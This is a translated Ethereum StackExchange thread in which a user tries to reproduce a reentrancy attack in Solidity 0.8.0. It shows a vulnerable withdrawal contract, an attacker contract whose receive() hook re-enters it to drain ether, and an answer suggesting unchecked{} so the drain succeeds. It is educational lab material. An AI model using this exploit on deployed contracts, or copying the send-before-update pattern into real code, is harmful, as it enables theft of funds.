我试图用solc 0.8.0复制重入bug:
我有两份合同,
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Reentrancy {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
(bool success, ) = (msg.sender.call{value: _weiToWithdraw}(""));
require(success);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = block.timestamp;
}
}另一个攻击脆弱的契约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrancy.sol";
contract AttackReentrancy {
Reentrancy public reentrancy;
constructor(address _reentrancyAddress) {
reentrancy = Reentrancy(_reentrancyAddress);
}
function attack() external payable {
require(msg.value >= 1 ether);
reentrancy.depositFunds{value: 1 ether}();
reentrancy.withdrawFunds(1 ether);
}
function collectEther() public {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
if (address(reentrancy).balance > 1 ether) {
reentrancy.withdrawFunds(1 ether);
}
}
}但是当我用松露调用它时,它只会在reentrancy.withdrawFunds(1 ether);上抛出异常,然后得到Error: Returned error: VM Exception while processing transaction: revert
那么,sol编译器中是否启用了内置保护?
发布于 2022-01-20 06:14:59
您的重入失败的原因是这一行:balances[msg.sender] -= _weiToWithdraw;
在0.8.0之后,编译器会自动检查下流和过流错误,并在发生这种情况时抛出。由于余额是地址到uint的映射,在0以下没有值,并且在尝试提取比余额更多的余额后,合同将尝试减少0项下的余额,从而导致下流量并抛出错误,并恢复所有更改。
您可以使用unchecked{balances[msg.sender] -= _weiToWithdraw;}查看是否修复了它。
发布于 2022-01-20 05:36:00
没有针对可重入性的编译器保护,因为可重入是一个运行时错误。
我建议向您的需求中添加还原消息,以帮助确定到底是什么失败了。您甚至可以使用hardhat的console.log库来进行printf调试。
https://ethereum.stackexchange.com/questions/119398
复制相似问题